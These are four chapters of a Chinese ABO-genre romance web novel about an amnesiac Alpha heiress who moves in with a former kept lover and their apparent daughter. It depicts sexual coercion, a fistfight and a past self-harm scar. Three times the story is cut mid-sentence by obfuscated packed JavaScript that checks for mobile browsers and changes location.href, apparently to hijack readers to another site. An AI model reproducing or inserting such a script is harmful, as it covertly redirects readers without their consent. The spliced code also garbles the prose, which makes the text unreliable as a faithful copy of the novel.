《人妻O让我喜当妈》 1. 第 1 章 琥珀色灯泡悬在天花板,几根电线外露,摇摇欲坠。 紫苑花淡香源源不断自腺体析出,渗入橙香,纠缠不已。 “不要...唔。” 女人浑身颤抖,温和的嗓音被滚烫的唇瓣堵住,支离破碎。 来自身前Alpha顶级信息素的压制。 女人的指尖死命扣住樱桃木工作台边缘。 “不要?” Alpha轻笑,扼住Omega纤细的手腕,眼底蔑意一闪而过。 “我付了钱的。” 两道模糊身影交叠,甜腻味浸满暗黄狭小空间... 海城乡下小镇,几个中年妇女坐在房前唠嗑。 目标对象正是距离她们十来米远,用栅栏围住的隔壁平房。 昨夜刚下过雨,地上泥土还有些泥泞。 两道车辙印清晰地从外延伸进平房的前院。 “我和你们说啊,就隔壁那Omega,知道吧,她昨天带了一个Alpha回家!” “你说那个寡妇O?她老婆不早死了吗?” 另一大妈竖起耳朵,吐出瓜子壳。 她们也不是什么封建老辈,可这也实打实的刺激。 “是啊,大半夜了,她还和那Alpha搂搂抱抱下车,哎呦喂,我都没眼看!” “是不是酒后乱性,那网上都说去酒吧捡尸体嘛,我看那Omega一个人带孩子,能安分到哪!” “说的对,我看十有八九……” 此时屋内。 “清柚...” 林絮猛然睁开眼,她刚做了个旖旎的梦。 额头布满细密的汗,脑袋又涨又酸疼。 入眼就是刷白天花板,耳边传来闹钟滴答声。 她阵阵恍惚。 一只皙白的手臂忽然从她余光掠过,带着清泠的香味,林絮疑惑转头。 她恰好对上一双冷淡的点漆眼眸,女人浓密的鸦睫几不可察地颤了下。 “醒了?” 温润沁入心脾的音调在林絮耳畔边响起,林絮顺势颔首。 “等一下,测体温。” 林絮目光不自觉跟随起身的女人,她手里拿来一根测温计。 女人那柔软的墨发倾泻至纤细的腰身,穿着高领修身羊毛衫。 羸弱的身形在窗外夕阳的映照下,平添几分朦胧感。 好漂亮,林絮心下陡然一跳,她眨眨眼,头痛消解了不少。 “你.是.谁?” 嘴巴干涸到喉咙嘶哑,导致她说个话都得卡一下。 正在拧毛巾的女人顿了下,迟疑地垂眸,见林絮满眼清澈无知,她眉心微蹙。 “林絮,这不好玩。” 女人没再等待,继而用温度计点了点林絮的唇角。 “张嘴。” 林絮不明所以,乖乖啊了声,下一秒,温度计的橡胶部位贴着她的舌面。 而她还在思索女人的那句话,什么好玩? 她现在脑子好似浆糊不清不楚, 还有,这是哪里啊,虽然这女人看起来不像坏人。 林絮稍微别过眼,端详起女人的侧脸。 女人抱起双臂,面朝窗外。 微风拂过她巴掌大瓷白的脸庞,前额落了些许发丝,她伸手将其拢至洁白的耳朵上。 林絮情不自禁咽了下口水,结果由于太用力,反倒被温度计的顶端抵到口腔上颚。 “咳咳咳...” 听到她发出动静,女人转身,等她咳嗽完毕,随即抽出温度计,看了看。 “退烧了。” 那还行,林絮清了清喉咙,为什么女人的反应如此淡漠。 “可是,姐姐你到底是谁呀?” 接下来便是冗长的沉默。 女人狭长的凤眸紧盯着她,仿佛想找出林絮藏有的破绽。 昨晚,雨势倾盆,林絮独断专行拨通舒清柚的手机,一如既往命令舒清柚接她。 深秋雨夜,霎是刺冷,舒清柚披了件驼色风衣。 来到指定地点,林絮西装凌乱,没撑伞,整个人任由雨水压覆。 唯有一双桃花眼深邃如墨。 在舒清柚即将询问之际,林絮却直挺挺地向前栽倒在舒清柚身上。 她很烫,体温透过湿漉的层叠衣物传达至肌肤。 舒清柚很快意识到,林絮发烧了。 国内海城龙头企业林氏。 业务遍布全球,涉足房地产、金融、科技、能源、娱乐等多产业。 而林絮则是被媒体誉为最大希望的继承人之一。 这会倒像只落难小狗,等待救援。 很可笑,四年未见,再会面,竟以如此戏剧化的方式。 才一晚上,林絮却拿失忆来搪塞? 用另一种方式来戏弄她吗? 舒清柚与她对视,找不到破绽。 良久,她在心底叹了一口气。 “我叫舒清柚,不记得了?” 舒清柚吗? 林絮默默咀嚼这三字。 不知为何,她心里荡起一圈圈涟漪,有点痒,伴随刺痛。 堪称百感交集,林絮愈发摸不着头脑。 “对,对不起,你认识我?” 林絮视线下意识停在舒清柚樱色水润的唇瓣上,莫名地让她心颤。 发现她放肆的行为,舒清柚迟疑一瞬,眼神晦暗。 本性难改,舒清柚想,林絮也许是装的。 舒清柚抿着唇。 “认识。” 四年了,林絮瘦了些,当年稚气未脱的秀气脸庞褪去。 头发染成栗色长卷发,面容昳丽,成熟女人的味道显现。 林絮大大地安心,那敢情好,不然她还真以为被卖了。 她露齿一笑:“那姐姐你是我什么人呀?” 清瘦的Omega身形僵了下,伤害她无数次的始作俑者,此刻笑靥盈盈,没事人似的。 “什么都不是,不是家人,更谈不上朋友。” 舒清柚面无表情,居高临下。 “不对啊,那你干嘛照顾我?” 林絮虽说失忆了,但智商在线。 “欠你的。” 迟钝的大脑这时活络了起来,欠债吗?这一切就说的通了。 欠债还钱天经地义,林絮很快接受新身份。 “哦,这么说我是你的债主,那你欠我多少钱呢?” 舒清柚没打算告诉她。 她24岁被林絮包养,不长不短,一年时间。 所以,不是债主,是金主。 这时,门外响起几不可察的脚步声,林絮好奇望去。 一只小白团子怀抱玩偶,定睛瞧去,原来是个小女孩。 毛茸茸的脑袋留着及肩短发,穿着小猫图案睡衣。 脸颊婴儿肥圆鼓鼓的,黑葡萄般的大眼睛,看见林絮有点惧怕。 仅一眼,林絮看出小孩的五官是舒清柚的缩小版。 林絮眸光亮了:“姐姐,这是你妹妹吗?好可爱哦。” “绒绒,不乖。” 舒清柚眼底划过一丝慌乱,很快掩去, 她上前抱起,小女孩哼唧着,埋到她怀里。 舒清柚拍了拍女儿背脊,轻声哄着。 好一会,才转向林絮,她的语气有如冬日融化的雪,冰凉绵长地透进皮肤肌理。 “是我女儿。” 林絮张了张嘴,蛮惊讶。 还真是人不可貌相,这姐姐看起来年纪轻轻,女儿都这么大了,可以上街去打酱油了吧。 林絮友好道:“她好像很怕我哦?” 舒清柚睨她一眼,不作回应,将女儿放回客厅沙发,发现动画片播放完毕。 当下了然,原来女儿在提醒她,她重新帮她切好台。 那母女两动静太轻,林絮顿觉无聊,她闲不住,认真打量四周,试图回忆起什么。 房间装饰简约,壁挂几幅风景画,地面铺就的木质板。 被褥有好闻的洗衣液香气,带着一丝清淡橙香,有点甜。 半晌也没等到舒清柚,除开冷落的不满,还有对未知的好奇,这就是失忆的感觉吗? 一无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325865|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所知。 林絮伸展四肢,悄咪咪下床,脚上套的是双新拖鞋,嘎吱一声推开门。 小女孩乖巧抱着企鹅玩偶,小身体缩在米色布艺沙发一隅,果真是个软呼呼白团子。 她往客房方向撇了眼,林絮招手说嗨,小女孩立刻转过头。 林絮奇怪地摸摸鼻子,她靠近了些,试图拉近关系:“你叫绒绒对吗?” 而小女孩感知到林絮的气息,抖了下。 林絮无语,竟是个社恐小孩,也好,吵闹的小孩反而让她头大难顶。 客厅摆设颇有北欧乡村风格,设张大木桌。 桌面由花卉书本点缀,主人品味尚可。 舒清柚的身影在厨房忙活,应该在煮汤。 空气里飘着甜丝丝的味道。 厨房窗户半敞,舒清柚柔顺长发梳成低马尾,削瘦肩膀线条流畅。 熔金落日洒在她秀美的鼻骨间,像是从画里临摹出来那般楚楚动人。 舒清柚身影一晃,随后从冰箱里取出打发好的淡奶油和牛奶,倒入锅内细致搅拌。 这一幕幕看的林絮眼睛发直,心里像被羽毛轻撩发痒。 呼吸没控制住,急促了几分。 同时,她的胃也在叫嚣。 电视里动画片的剧情播放到剧情迭起片段,音量大了些,林絮思绪回笼。 耳廓烫烫的,因方才偷看,她心虚到冒汗。 为掩饰尴尬,她刻意清清嗓子,专心致志看着电视。 舒清柚听到声响,没转身,察觉林絮在客厅,女儿坐在她身旁,静谧地难以置信。 因为林絮从不安分,至少惯会玩.弄她。 她揣度着林絮想玩什么把戏,失忆,有点科幻的剧情。 可昨晚,林絮也没必要拿宝贵的身体开玩笑,如果她不去找林絮,林絮当真会晕在大马路上。 她入神地想,没留意勺子啪地落在石英石台面,清脆刺耳。 “姐姐,你还好吗?” 林絮第一时间利落从沙发上爬起,活力四射前来关心,丝毫没有高烧刚退的自觉性。 不愧是顶级Alpha,才休息一晚,身体恢复惊人。 林絮那秾丽桃花眼弯弯的,富有勾人的欺骗性。 捡起陶勺,手柄裂开几丝细缝,舒清柚退后一步,眼睑低敛。 “手滑,在做牛奶布丁。” 循着舒清柚的白嫩指尖,磨具倒满调好的温热奶液,香味溢出。 林絮好奇舒清柚的回避,看来她还真欠了她不少钱,甚至不敢直视她。 “给我做的?我尝尝。” 舒清柚:“你不喜欢的。” 本就是为女儿准备的点心,至于林絮。 应该不太爱吃她做的食物,明明没有多难吃,但林絮每次都是皱着眉头艰难咽下。 “你怎么知道我不喜欢,不管,我饿了。” 林絮嘟嘴表示不服气,揉着咕咕叫的肚子。 “姐姐,我也要吃牛奶布丁。” “那也得先冷藏,你...” 舒清柚心下稍惊,失去记忆,性格也会有天翻地覆的改变? 林絮竟然像只小狐狸般笑得狡黠,竟还自来熟叫姐姐。 她那细软发丝拂过舒清柚的手背,舒清柚不自在地离她远了些。 屋内暖气还没关,林絮感觉有点热,而舒清柚身上凉凉的。 为什么要离她那么远? 林絮反而贴的更近,肌肤不合时宜地生出燥热,泄出一抹花香。 闻见熟悉的气味,舒清柚眉心蹙起,腺体正在发胀。 紫苑花信息素钻入鼻息,她呼吸陡然加快频率。 —咣当! 这回勺子真的光荣牺牲了,摔地成四分五裂。 舒清柚猛地拍开林絮的手,按住腺体快速躲开。 林絮歪了歪脑袋,茫然。 “怎么,不就是不想给我吃布丁,不吃就是了呀。” 舒清柚眼尾倏地泛红,水雾笼罩着凤眸,迷离不堪,她低声愠怒。 “......林絮,收好你的信息素。” 2. 第 2 章 饶是林絮再迟钝也知晓现在出状况了,急切迎上。 舒清柚用眼神警示,不许她靠近。 林絮倒吸一口凉气,悻悻然定住,她也纳闷啊。 “你听我说,我、我已经收好信息素了,真不知道怎么就跑出来了。” 碰了碰后颈略有肿胀的腺体,明明也有发热迹象。 林絮能控制,但提不起生理反应。 反倒像和腺体进行了分离。 毫无知觉。 虽说林絮没再释放信息素,但残余的信息素却没放过舒清柚。 当年正是林絮的信息素,能将舒清柚哄骗到不能自已。 舒清柚兀自跌跌撞撞越过林絮,在床头柜找到抑制剂。 尖锐的针头猛地扎进脖颈。 她眸底逐渐清明,呼吸也调整为正常频率。 眉梢渐染一抹愁思,她还没到发热期,生理却过于汹涌。 这套流程下来,给林絮看傻了,她刚做了什么? 对一个陌生女人诱导发热! 鼻尖嗅了嗅,空气飘的信息素甜甜的。 她有点慌,余光不经意瞟到人家的闺女舒绒。 像只小鹿崽,大大的眼里揣着迷惑。 林絮心态崩溃,思索要不先走为敬。 虽然她一无所有,也没别的出路。 但总有办法可以活下来。 稍微辨别了下大门方位,她蹑手蹑脚。 还没几步,就被唤住。 “你想去哪?” 林絮听这冷冽的声线,暗道不妙。 她挠挠头,背脊挺和标杆似的,缓缓回头。 “我出去逛逛,就逛一逛。” 舒清柚撇了她一眼,没事人一样,踱步进厨房打扫。 蹲下,葱白的手指细心收拾好每一块碎片。 林絮想让她注意别割破手,还是闭嘴了,她懊恼刚才非分的举动。 反正她是动都不敢动了。 她一错不错看着舒清柚把垃圾袋绑好,还不忘贴上注意碎片的标签。 再将不锈钢锅里的液体倒在塑料方格里,放进冰箱冷藏。 林絮局促地默坐在舒绒边上。 舒绒炸毛般地嘤了一声,林絮赶忙竖起食指。 “嘘,小声点啊,你妈她生气了。” 林絮心里犯嘀咕,这小孩真的只是怕陌生人? 就在林絮坐立难安时,舒清柚不咸不淡告诉她:“明天去医院,你别乱跑,小心迷路。” 次日。 “是这样的,初步诊断结果为撞击引起的轻微脑震荡,多数人会出现短期记忆丧失,但通常会在一段时间内恢复。” 医生鼻梁两边镜片在电脑前反光,鼠标在电脑CT影像上滑动。 脑震荡,撞击。 林絮心里一个咯噔,不会是舒清柚看她上门催债,把她打成脑震荡吧。 一旁的舒清柚比她思路清晰。 “信息素也失调了?” 医生点了点头。 “对,神经系统某些功能失调,导致的信息素神经屏障综合症,不用太担心,感知能力会逐渐转好,日后尽量避免腺体刺激,好好休息...” 医生接着科普具体综合症细节,听不懂的名字以及一堆术语。 林絮本就拎不清的逻辑更加混乱。 她只听懂个大概。 信息素的感知通路被阻断,无法稳定接收释放AO的信息素信号。 不排除混乱状况。 为此,医院专门给林絮开了针对她身体的抑制贴和抑制剂。 走出医院大门时,林絮越想越憋屈。 猜测舒清柚是否是害她失忆的犯罪嫌疑人。 因为愧疚才带她来就医,林絮在舒清柚背后重重地哼出声。 舒清柚不解地回头。 凑巧这时口袋里发出震动,她没理会林絮的小脾气。 打开手机,赫然显示妹妹舒晚柠的名字。 【姐姐,我今天回家玩两天,陪陪你和绒绒,对了,我想吃红烧鱼,糖醋排骨...】 菜名一大串,但也能从中看出舒晚柠那开心劲。 舒清柚握住手机,细长指尖摩挲着屏幕。 舒晚柠对林絮的厌恶一直都深入骨髓。 这个时间回来,难免会撞到。 后果不堪设想。 林絮跳到她跟前,游移不定。 “姐姐,是不是你不小心打到我的头,或者你开车,没留意,把我撞成脑震荡?” 寒露夹风袭来,舒清柚眼睫轻颤。 她拢了拢大衣,自小体弱多病,畏寒,还分化成Omega。 身体素质比其她Omega还弱,看起来和纸片似的,风吹就倒。 她绕过林絮,倚靠在车头边,回复妹妹短信。 【不要来。】 再掀起眼睑。 林絮端着盛气凌人的架势,身着西装外套,内搭舒清柚给她的素白长裙。 两根细吊带勾在林絮圆润的肩头,勒的林絮雪白的肩膀有点发红。 175的高挑身段,比舒清柚高半个头。 裙摆遮不住膝盖,总的来说不太合身,导致Alpha的前胸显得有点紧凑。 放在以前,林絮穿衣都是私人上门定制,眼高于顶,看不上舒清柚的任何物件。 她抱臂而立,没打算跳过话题。 舒清柚怔了下,像是往昔重现。 而她早就习惯林絮蛮不讲理。 舒清柚眼无波澜,朝她摇摇头。 其实林絮挺提心吊胆,一点都不希望漂亮姐姐伤害她。 她存着说不清道不明的情绪,打心眼里就是相信舒清柚。 得到肯定的回答,林絮变脸极其迅速,笑眯眯地帮舒清柚拉开主驾驶门。 “那我们去派出所吧,找警察。” 哪怕抓不到肇事者,也得和家里人报平安呀。 “不行。” “欸?” 舒清柚呼出一口白雾气,双手抄在大衣口袋,实在没法和她解释。 她清楚记得林絮失忆前不容置喙地警告她。 【舒清柚你听着!不准报警,不能去医院,否则有你好果子吃!】 连求人都放不下身段。 来医院给林絮登记用的名字,还是借用她妹妹的。 林絮她,真狼狈。 医院停车场草坪站着这两风格不一的美女,引得路人频频侧目。 舒清柚:“先上车。” 车子里有股寂淡的馨香。 林絮没心情欣赏。 瞥到舒清柚扣在方向盘上泛白的指尖,她自觉帮忙打开车供暖气。 舒清柚发现林絮接受能力不是一般的强, 换作平常人面对生疏环境和人,早就呼天抢地。 舒清柚嘴唇翕动,脸不红心不跳,编造半真半假谎言。 “前天你告诉我,被仇人追杀,情况十万火急,需要我帮忙,比如,将你藏起来。” 林絮这般落魄,她应该庆幸。 渣A有恶报。 仇杀?! 林絮下巴都要惊掉了,都21世纪了,还能整这一套。 她花了好几分钟才消化掉这离谱的信息,难以置信。 但舒清柚说的正经又严肃,没骗她的必要。 送她来医院,开药。 林絮神经迟钝地到处东张西望,怕突然冒出个杀手。 她缩缩脖子。 “那,你要把我藏哪啊?” 没想到真把林絮唬住了。 舒清柚语气平和:“我不知道。” 林絮慌了,桃花眼瞬间氤起潮湿,手里攥紧座位安全带。 “姐姐,你可要帮帮我啊!” 林絮充分发挥死乞白赖精神。 “你看,我无依无靠,一穷二百,除了你还欠我钱,也没有个借条...” 说到借条,林絮存着点小心思,顿了下,等舒清柚的反应。 不能说一点反馈都没有,那薄薄的眼皮倒是撩动了下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325866|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林絮试探中。 “我可以,住你家吗?” 前方是红灯,舒清柚踩住刹车。 “......嗯?” 演技不错,很能装,她想。 林絮找补中。 “我保证我会控制好信息素的,百分百。” 而舒清柚数着红灯倒计时,黄灯蹦出来,松开刹车。 看见林絮怏怏的丧气样,她轻叹了声:“好。” 逼仄的车内,信息素挥发的很快,尤其林絮这种腺体出毛病的。 一听到舒清柚同意了,她都有点飘然。 该道谢。 林絮上半身向舒清柚方向挪近几分。 冷不丁瞧见舒清柚捋起额间那挡住视线的发丝。 眼尾下方,坠着颗淡棕色的泪痣。 长发遮掩着,此时却暴露无遗。 舒清柚素来冷清的神态因为这颗痣,显得分外娇媚。 林絮呼吸一滞。 她意识到才提出的百分百控制信息素的保证。 立马敛去不干净的念头。 林絮心里七上八下的,偷偷松了口气。 去的时候没太注意,回来路上林絮特别关注风景。 医院建在城郊,随景物倒退,高大建筑逐渐被低矮房屋取代。 深绿枯黄山丘土坡出现在视野。 林絮若有所思,怪不得她失忆前要找舒清柚呢。 这小镇旮旯的,谁能找到她。 不过,一想到未来要长久住在这里。 不由悲从中来。 总算深刻了解舒清柚昨晚那句别乱跑的忠告了。 林絮垂头丧气,郁闷地绞起手指。 到家门口都不想下车踏足夯实的土地。 可她不敢明目张胆嫌弃。 林絮打开车门,瓮声。 “也不知道我多久才能恢复记忆呢?” 下一秒,她脖颈发凉。 舒清柚给她拿了瓶纯净水。 冷声道:“这里,贴紧些。” 林絮看见她指的是腺体位置,脸倏地发热。 还是被她发现了,林絮慌忙用力按住抑制贴。 又闷头喝了一大口水。 顺便认真打量房屋,两层红砖瓦顶的平房,前庭栽有银杏树。 啧,真简陋。 舒清柚按下钥匙锁车按钮,发出短促的滴声。 回身瞥见林絮眼底的嫌弃。 “以你的身份,从小浸在珍馐美馔,纸醉金迷的日子,确实有巨大落差感。” “啊?” 喝进去水呛到喉咙,林絮咳了阵。 这句话信息量可太大了。 她眼里放光。 “姐姐,你的意思是,我是有钱人家的孩子?!” 乌云沉霭,簌风乍起。 带起舒清柚衣摆飘掠。 她转身远望云岫含黛。 一盏茶的功夫。 面向林絮,哂笑几许。 而后垂眸,单手在手机里输入。 林絮愈发觉得,舒清柚深藏不露。 冷寂的疏离,对她却有种诡异的熨心。 舒清柚细白的手指握住手机,递给林絮。 “不是想知道你是谁吗?” 山间吹来的风,很贴舒清柚微凉的音线。 林絮低头,屏幕赫然显示: 【林氏集团高层领导顺利交接,林絮成功接任董事长......】 往下,是林絮的照片以及个人介绍。 她在晚宴聚光灯下正中央。 一袭黑色晚礼服长裙,细高跟鞋,手持盛着香槟的水晶杯。 锁骨点缀白金镶钻项链。 照片中的她,眉眼浓颜艳绝,鼻骨挺拔优越,红唇慵懒地勾起,年轻得志的桀骜恣意展露在外。 无一不表现出她身姿矜贵。 林絮错愕不已。 这已经不止是有钱可以形容了吧! 以及,这掌控力满满的女人居然是她自己?! 3. 第 3 章 舒清柚本意希望林絮快些恢复记忆,早日划清界限。 与林絮接触时间越久,她担心突生意外。 正如刚认识林絮那会,她温润如玉,友善礼貌。 甚至连包养这类难以启齿的建议,林絮也只是劝慰她。 “舒小姐,或许,我们可以先试一试。” 林絮用了点耐心,以及浮于表面的爱意。 酷爱伪装。 泡沫终究会破,假面维持不了多久,真正的林絮本性暴戾,不可理喻。 舒清柚自认无法和她过多接触,决定用高光时刻进行刺激。 毕竟,林絮自负,高傲,深度迷恋钱权。 静候了会。 林絮神色复杂,扭捏地把手机还给她。 舒清柚:“全世界都知道你家集团地址。” 林絮怎能听不出她言外之意,这是打算出尔反尔了? 她故技重施,可怜兮兮,嘴角向下一撇。 “但是,我回去又能做什么呢?我什么都想不起来,被家里人嫌弃怎么办,还有,新闻上说我妈妈们都死了,我独自一人靠雷厉风行的手段,在商界叱咤风云,看到这些心里头直发毛。” 还真不是危言耸听,林絮发现新闻给她描述成魔头般的人物。 添油加醋形容她翻手为云覆手为雨。 凉空气不断袭来,林絮脊背冷汗涔涔。 “姐姐,你明白吗?” 舒清柚呼吸清浅,不动声色观察着林絮。 豪门斗争,潜藏的秘辛,林絮从未和她透露。 但林絮会带她参加酒局,灌她酒,逼迫她抽烟,呛的她直冒眼泪。 无论相信不相信的,舒清柚不太想去在乎。 关注一个人时间过长,不管关系如何,都会变得难以割舍。 她敷衍了过去。 “嗯,明白。” 倘若林絮敏感些,多少能察觉舒清柚的勉强之意。 然而她面对舒清柚时却意外降智,还欢欢喜喜跟上。 林絮默念: 尽管这里破旧,农村乡镇,但所谓客随主便,入乡随俗。 将就着过吧,一通自我安慰下来,林絮轻松不少。 钥匙还没插进锁扣,噔噔噔脚步声从防盗门后传来。 两人皆顿住,林絮则着急忙慌将舒清柚拉到身后护着。 “姐!你回来啦...” 少女的声音就这样风风火火从里头钻出。 门开,露出一张扎着高马尾的秀气脸庞。 她身穿蕨绿冲锋衣,笑容像寻常女大学生那般灿烂,整体洋溢青春色彩。 舒晚柠高声埋怨:“嗐,我来都来了,你还让我折返,什么意思嘛...” 说的太急,还没瞧清面前人的样貌,舒晚柠听到姐姐停车声,特来迎接。 此时定睛一看,她反倒愣住了。 林絮脑子还没转过来,回头问向舒清柚。 “她叫你姐欸?她是你...” 话音未落,瞬间就感到上衣领子被揪紧,喉咙遽然受到压迫,林絮只好强行用后脚跟稳住身形。 眼前呈现舒晚柠的怒不可遏的脸,还有高高挥起的拳头。 林絮半个字还没说出口,重拳直接朝她脸颊落下,林絮闷哼一声,趔趄晃了两步。 “神经病啊!打我干嘛!” 舒晚柠好像还不解气,再次冲到她跟前,眼里冒出遇见杀母仇人那样的气焰。 “林絮!你这禽兽还有脸来!” 什么鬼啊,无妄之灾吧。 她的脸火辣辣地,嘴角也被打出血丝。 舒清柚居然还冷眼旁观,林絮胸口更加沉闷。 “舒清柚,这是你妹,她发神经你也在这看戏啊!” “呵,看戏,看的就是你这脑残怎么被我打死。” 说罢,舒晚柠大步一跨,将林絮啪地推到墙上,一只结实的手臂卡住她脖子呼吸道。 林絮突然意识到情况不妙,反手抓住她胳膊,膝盖蓄力向前一踢。 料到她的意图,舒晚柠一个闪身。 她咬牙切齿:“林絮,你真该死啊!” 疯子,十足的疯子! 林絮捂住脖子喘息,她好生气,更多是气舒清柚任这神经病妹妹为非作歹。 “你,你小心我报警!” “行啊,你敢报,我就和你同归于尽!” 舒晚柠发狠瞪住林絮,恨不得在她脸上烧出个洞。 林絮和舒晚柠大眼瞪小眼,两人身高相当,气势亦不相上下。 “喂,舒清柚。” 她郁闷地寻求舒清柚帮助,却看见一张尽失血色的脸。 舒清柚羽睫轻颤,低垂着眼睑,遮住不安的眼神。 她极力克制,双手贴在背后,强行握住抖动的左手手腕。 “舒清柚,你怎么回事?” 似曾相识,而且不止一次有看到这情形,林絮脑海忽然闪过无数个片段。 头疼突如其来无法阻挡,眼中划过她自己都没发觉的狠戾。 行动先一步于大脑,就在她要触碰舒清柚时,一道身影比她更迅速。 她蓦地被舒晚柠大力推开。 林絮进退两难,心头空落落的。 舒晚柠:“姐,你又...” 舒清柚晦涩地给了她一个提醒吗,话头悄然止住。 舒晚柠说的太快,胸中愤懑无处发泄,导致她差些咬到舌尖。 可是又担心姐姐身体,她只能瞪着始作俑者林絮,压低声音。 “滚出我们家!” 林絮瞳孔发红,就好像宝物被抢走,却无能为力。 稳住心神,冷哼一声。 “你姐欠我钱,你知道吗?” 此话果真成功让舒晚柠的脸黑了好几个度。 林絮索性自暴自弃了。 “你问舒清柚去,她自个承认的。” 她鼓起腮帮子,像一只快要气炸的河豚。 舒清柚疲惫地撩起眼睑,意味晦涩不明, 不知为何,林絮有点胆虚,她豪气地撂下一句:“切,滚就滚,谁怕谁。” 舒晚柠气不打一处来,小心将人搀到屋内,后槽牙都要咬碎了。 “姐,你看她,四年前抛弃你,现在又腆着脸找上门,简直禽兽不如!” 陷在柔软沙发上阖目调整气息,舒清柚左手颤抖不再,她睁眼,唇瓣微启。 “绒绒?” 舒晚柠才注意到睡的好好的小侄女跑出来了。 房门口,怯生生的一个小团子,抱着企鹅玩偶不敢上前。 有点吓到的样子,舒晚柠连忙抱起她温声哄着。 “乖啊,绒绒不怕,刚刚小姨在打坏人呢。” 舒绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325867|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似懂非懂,她被吵醒了,从敞开的大门发现小姨在打坏姐姐。 她在小姨手机上见过坏姐姐照片。 每次小姨都会告诉她,这是个大坏蛋。 舒清柚不由低笑,摸了摸女儿的发顶:“坏人?” “哼,那不然呢,要不是绒绒还小,听不懂太复杂的词汇,否则我高低要和她好好吐槽。” 意气风发的少女骄傲地扬起脑袋,在求姐姐表扬。 “怎么样,姐,我刚才威风吧?” 舒清柚嘴角浅弯,自家妹妹是Beta,今年在海城读大四,准备实习。 曾和她抱怨学习遇到的难处,赶论文的烦闷。 但只字未提上大学后兼职的辛苦。 当时她们姐妹两正经历人生剧变,家里公司破产,母亲意外死亡, 开业没两年的陶艺工作室倒闭,总之,她家拥有的一切都被变卖抵押。 却还欠款上千万。 留给她的选择只有一种,委身于风月场所,毕竟Omega的初次标记很值钱。 但也不够值钱。 无法想象,居然是成年没多久的林絮提出包养,给她另一种选择。 舒绒发觉妈妈不开心,默默地贴近,一身不吭。 温暖软软的气息,舒清柚思绪回笼。 她很爱舒绒,女儿哪都好,在她肚子里面时,除了早期孕反,其余时间也不踢她,从不折腾。 只不过舒绒的身体,如舒清柚小时候那样体弱,动不动感染风寒。 三岁的小孩,到现在也还不会说完整的句子。 舒清柚将舒绒拥进怀里,和舒晚柠她认真解释,包括医生的诊断。 “柠柠,林絮失忆了。” 闻言,舒晚柠作出厌恶的神情。 “所以呢?” 她半信半疑,林絮堂堂林氏集团继承人,早出晚归都有保镖护体。 脑震荡失忆?天大的笑话,多半自导自演,找借口跑来这骚扰她姐。 “那你把她送回去呗,赖在我们这算什么说法,还有,她怎么会说出我们欠她钱啊,姐你也太没出息了吧。” 她知道姐姐基本上就是糊弄林絮的,但真不服气舒清柚维护林絮的窝囊样。 舒清柚:“别担心,我能应付她。” 应付,别把自己兜里头了,舒晚柠撇着嘴,一万个不信任。 既然姐姐为混蛋辩解,她打破砂锅问到底也白搭。 “柠柠,我有点难受,可以帮我把药拿来吗?” 舒晚柠沉脸,她心疼不已。 “你看,她来了你就发病,别告诉我你又对左手作妖了。” 这事也是舒晚柠无意中发现的, 起初,看到姐姐左手手腕上的疤痕明显,她下意识认为是林絮干的腌臜事。 她无法原谅林絮居然敢动手打人。 舒清柚拦住她,告之实情。 因为林絮的原因,她一时间想不开,四年前才做出伤害自己这种幼稚愚蠢行为。 在那之后,舒清柚去做了清洗标记的手术。 舒清柚释然一笑:“没事的,最后一次了,好吗?” “行吧,姐你还真是迷之自信。” 舒晚柠熟门熟路帮姐姐拿药,递茶水。 看着姐姐吃下药,她视线转到舒绒,忍不住开口。 “那舒绒怎么办?” 4. 第 4 章 舒晚柠没把话说全,姐妹两有默契,虽然孩子和林絮样貌大相径庭。 保不齐万一林絮知道是她的孩子,会做出哪些离谱行径。 四年前。 海城的冬季,下着瓢泼大雨。 CBD顶层豪宅,落地窗反射着碎珠般的霓虹灯。 室内暖气如春,中和器稀释掉了紫苑花香和橙味交织的信息素。 舒清柚瘫倒在真皮沙发,长发散落。 全身上下只套着敞开的宽大白衬衫,白嫩的美腿交叠,薄弱的腿间肌肤落着大小不一的红痕。 她脸色泛红,气息紊乱,胸前吻痕显眼,细弱脖颈的腺体更是被林絮蹂躏的不像样。 林絮却好整以暇靠在另一边。 身着午夜紫绸缎长裙,裁剪得体,腰线处收紧,包裹着姣好身段。 手指水渍未干,存有粘腻感。 倾身,扣住舒清柚的下巴,迫使她抬头。 舒清柚那双翦水秋瞳波光涟涟,惹人怜爱。 真讨厌舒清柚在她眼前眼圈通红,她难道给的钱还不够多么,林絮心烦意乱。 她恶狠狠道:“最后一次了,我不想重复第二遍,包养游戏,我已经玩腻了。” 就算林絮态度恶劣,但已经被她深度标记的舒清柚极度依赖她,不论身心。 舒清柚没做出回应,只是将嘴唇压在手背上。 咬住下唇,将呜咽声尽数吞进肚子。 